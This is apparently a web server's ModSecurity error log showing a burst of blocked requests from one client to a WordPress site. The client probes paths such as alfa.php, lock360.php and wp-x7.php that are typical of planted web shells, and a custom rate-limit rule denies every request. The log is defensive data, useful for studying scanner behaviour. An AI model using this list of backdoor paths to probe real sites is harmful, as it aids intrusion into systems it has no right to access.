[Mon Dec 15 20:40:24.807959 2025] [:error] [pid 52155:tid 52159] [client 4.194.147.174:19322] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aUABuBaJK6javjid3xy0tAAAAQE"]
[Mon Dec 15 20:40:25.089516 2025] [:error] [pid 52155:tid 52178] [client 4.194.147.174:19203] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aUABuRaJK6javjid3xy0tgAAARQ"]
[Mon Dec 15 20:40:25.333067 2025] [:error] [pid 52155:tid 52161] [client 4.194.147.174:19200] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aUABuRaJK6javjid3xy0twAAAQM"]
[Mon Dec 15 20:40:25.678979 2025] [:error] [pid 52155:tid 52162] [client 4.194.147.174:19281] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aUABuRaJK6javjid3xy0uAAAAQQ"]
[Mon Dec 15 20:40:25.931821 2025] [:error] [pid 52155:tid 52160] [client 4.194.147.174:19308] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aUABuRaJK6javjid3xy0vAAAAQI"]
[Mon Dec 15 20:40:26.172456 2025] [:error] [pid 31372:tid 31382] [client 4.194.147.174:19295] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aUABugN06qRtpJxyxHignQAAAIY"]
[Mon Dec 15 20:40:26.411385 2025] [:error] [pid 52155:tid 52163] [client 4.194.147.174:19225] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aUABuhaJK6javjid3xy0wAAAAQU"]
[Mon Dec 15 20:40:26.644249 2025] [:error] [pid 52155:tid 52158] [client 4.194.147.174:19315] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aUABuhaJK6javjid3xy0wQAAAQA"]
[Mon Dec 15 20:40:26.950152 2025] [:error] [pid 52155:tid 52174] [client 4.194.147.174:19267] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aUABuhaJK6javjid3xy0wgAAARA"]
[Mon Dec 15 20:40:27.355185 2025] [:error] [pid 52155:tid 52182] [client 4.194.147.174:19226] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aUABuxaJK6javjid3xy0xgAAARg"]
[Mon Dec 15 20:40:27.643421 2025] [:error] [pid 31374:tid 31456] [client 4.194.147.174:19311] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aUABu5zSh8b7uk6RWiFhSQAAAFg"]
[Mon Dec 15 20:40:27.921130 2025] [:error] [pid 52155:tid 52161] [client 4.194.147.174:19323] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aUABuxaJK6javjid3xy0ywAAAQM"]
[Mon Dec 15 20:40:28.246948 2025] [:error] [pid 31373:tid 31426] [client 4.194.147.174:19300] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aUABvHFdnrU7ASwItVLgBAAAANU"]
[Mon Dec 15 20:40:28.565479 2025] [:error] [pid 31459:tid 31485] [client 4.194.147.174:19317] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aUABvDqerS0TDpViRztm2QAAABg"]
[Mon Dec 15 20:40:28.968332 2025] [:error] [pid 52155:tid 52173] [client 4.194.147.174:19207] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aUABvBaJK6javjid3xy00wAAAQ8"]
[Mon Dec 15 20:40:29.331422 2025] [:error] [pid 31373:tid 31409] [client 4.194.147.174:19222] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aUABvXFdnrU7ASwItVLgBwAAAMQ"]
[Mon Dec 15 20:40:29.581484 2025] [:error] [pid 52155:tid 52165] [client 4.194.147.174:19206] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aUABvRaJK6javjid3xy02AAAAQc"]
[Mon Dec 15 20:40:30.043776 2025] [:error] [pid 31459:tid 31484] [client 4.194.147.174:19304] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aUABvjqerS0TDpViRztm3wAAABc"]
[Mon Dec 15 20:40:30.319431 2025] [:error] [pid 31459:tid 31477] [client 4.194.147.174:19265] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aUABvjqerS0TDpViRztm4QAAABA"]
[Mon Dec 15 20:40:30.588334 2025] [:error] [pid 52155:tid 52166] [client 4.194.147.174:19286] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aUABvhaJK6javjid3xy04AAAAQg"]
[Mon Dec 15 20:40:30.874153 2025] [:error] [pid 52155:tid 52163] [client 4.194.147.174:16475] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aUABvhaJK6javjid3xy04wAAAQU"]
[Mon Dec 15 20:40:31.144057 2025] [:error] [pid 52155:tid 52168] [client 4.194.147.174:19215] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aUABvxaJK6javjid3xy05QAAAQo"]
[Mon Dec 15 20:40:31.638225 2025] [:error] [pid 31373:tid 31424] [client 4.194.147.174:19271] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aUABv3FdnrU7ASwItVLgDQAAANM"]
[Mon Dec 15 20:40:31.997615 2025] [:error] [pid 52155:tid 52167] [client 4.194.147.174:19277] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aUABvxaJK6javjid3xy07gAAAQk"]
[Mon Dec 15 20:40:32.316609 2025] [:error] [pid 52155:tid 52158] [client 4.194.147.174:19278] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aUABwBaJK6javjid3xy08AAAAQA"]
[Mon Dec 15 20:40:32.821059 2025] [:error] [pid 31459:tid 31462] [client 4.194.147.174:19299] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aUABwDqerS0TDpViRztm6AAAAAE"]
[Mon Dec 15 20:40:33.250726 2025] [:error] [pid 31373:tid 31417] [client 4.194.147.174:19325] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aUABwXFdnrU7ASwItVLgEAAAAMw"]
[Mon Dec 15 20:40:33.549285 2025] [:error] [pid 31374:tid 31452] [client 4.194.147.174:19264] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aUABwZzSh8b7uk6RWiFhUQAAAFQ"]
[Mon Dec 15 20:40:33.754888 2025] [:error] [pid 31459:tid 31467] [client 4.194.147.174:16463] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aUABwTqerS0TDpViRztm6wAAAAY"]
[Mon Dec 15 20:40:33.951716 2025] [:error] [pid 31372:tid 31393] [client 4.194.147.174:19279] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aUABwQN06qRtpJxyxHigowAAAJE"]
[Mon Dec 15 20:40:34.368447 2025] [:error] [pid 31372:tid 31379] [client 4.194.147.174:19319] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aUABwgN06qRtpJxyxHigpQAAAIM"]
[Mon Dec 15 20:40:35.047887 2025] [:error] [pid 52155:tid 52176] [client 4.194.147.174:19282] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aUABwxaJK6javjid3xy0_QAAARI"]
[Mon Dec 15 20:40:35.391907 2025] [:error] [pid 31374:tid 31434] [client 4.194.147.174:19298] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aUABw5zSh8b7uk6RWiFhVwAAAEI"]
[Mon Dec 15 20:40:35.635646 2025] [:error] [pid 31372:tid 31385] [client 4.194.147.174:19240] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aUABwwN06qRtpJxyxHigpwAAAIk"]
[Mon Dec 15 20:40:35.911936 2025] [:error] [pid 31459:tid 31484] [client 4.194.147.174:19204] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aUABwzqerS0TDpViRztm9AAAABc"]
[Mon Dec 15 20:40:36.340673 2025] [:error] [pid 31372:tid 31389] [client 4.194.147.174:19289] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aUABxAN06qRtpJxyxHigqQAAAI0"]
[Mon Dec 15 20:40:36.624997 2025] [:error] [pid 31373:tid 31409] [client 4.194.147.174:19301] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aUABxHFdnrU7ASwItVLgFwAAAMQ"]
[Mon Dec 15 20:40:37.183763 2025] [:error] [pid 31372:tid 31376] [client 4.194.147.174:19247] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aUABxQN06qRtpJxyxHigqgAAAIA"]
[Mon Dec 15 20:40:38.000796 2025] [:error] [pid 31459:tid 31463] [client 4.194.147.174:16454] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aUABxTqerS0TDpViRztm_AAAAAI"]
[Mon Dec 15 20:40:38.819640 2025] [:error] [pid 31373:tid 31417] [client 4.194.147.174:19229] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aUABxnFdnrU7ASwItVLgGgAAAMw"]
[Mon Dec 15 20:40:39.332323 2025] [:error] [pid 52155:tid 52164] [client 4.194.147.174:16495] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aUABxxaJK6javjid3xy1BAAAAQY"]
[Mon Dec 15 20:40:39.605057 2025] [:error] [pid 31373:tid 31428] [client 4.194.147.174:19218] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aUABx3FdnrU7ASwItVLgHQAAANc"]
[Mon Dec 15 20:40:39.835893 2025] [:error] [pid 31373:tid 31421] [client 4.194.147.174:19297] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aUABx3FdnrU7ASwItVLgHwAAANA"]
[Mon Dec 15 20:40:40.277308 2025] [:error] [pid 31459:tid 31484] [client 4.194.147.174:19230] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aUAByDqerS0TDpViRztnAgAAABc"]
[Mon Dec 15 20:40:40.717442 2025] [:error] [pid 52155:tid 52172] [client 4.194.147.174:19275] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aUAByBaJK6javjid3xy1BQAAAQ4"]
[Mon Dec 15 20:40:41.078720 2025] [:error] [pid 52155:tid 52167] [client 4.194.147.174:16477] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aUAByRaJK6javjid3xy1BwAAAQk"]
[Mon Dec 15 20:40:41.664638 2025] [:error] [pid 52155:tid 52179] [client 4.194.147.174:19210] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-x7.php"] [unique_id "aUAByRaJK6javjid3xy1CQAAARU"]
[Mon Dec 15 20:40:42.059080 2025] [:error] [pid 31372:tid 31398] [client 4.194.147.174:19223] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-x7.php"] [unique_id "aUABygN06qRtpJxyxHigsQAAAJY"]
[Mon Dec 15 20:40:42.440640 2025] [:error] [pid 31373:tid 31413] [client 4.194.147.174:19326] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-x7.php"] [unique_id "aUABynFdnrU7ASwItVLgJQAAAMg"]
[Mon Dec 15 20:40:42.858769 2025] [:error] [pid 52155:tid 52182] [client 4.194.147.174:19305] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-x7.php"] [unique_id "aUAByhaJK6javjid3xy1DgAAARg"]
[Mon Dec 15 20:40:43.137561 2025] [:error] [pid 31373:tid 31422] [client 4.194.147.174:19245] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aUABy3FdnrU7ASwItVLgKQAAANE"]
[Mon Dec 15 20:40:43.425249 2025] [:error] [pid 52155:tid 52174] [client 4.194.147.174:19307] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aUAByxaJK6javjid3xy1EAAAARA"]
[Mon Dec 15 20:40:43.804143 2025] [:error] [pid 31374:tid 31442] [client 4.194.147.174:19324] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aUABy5zSh8b7uk6RWiFhagAAAEo"]
[Mon Dec 15 20:40:44.203885 2025] [:error] [pid 52155:tid 52176] [client 4.194.147.174:19243] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aUABzBaJK6javjid3xy1FQAAARI"]
[Mon Dec 15 20:40:44.711014 2025] [:error] [pid 52155:tid 52160] [client 4.194.147.174:19242] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "aUABzBaJK6javjid3xy1GAAAAQI"]
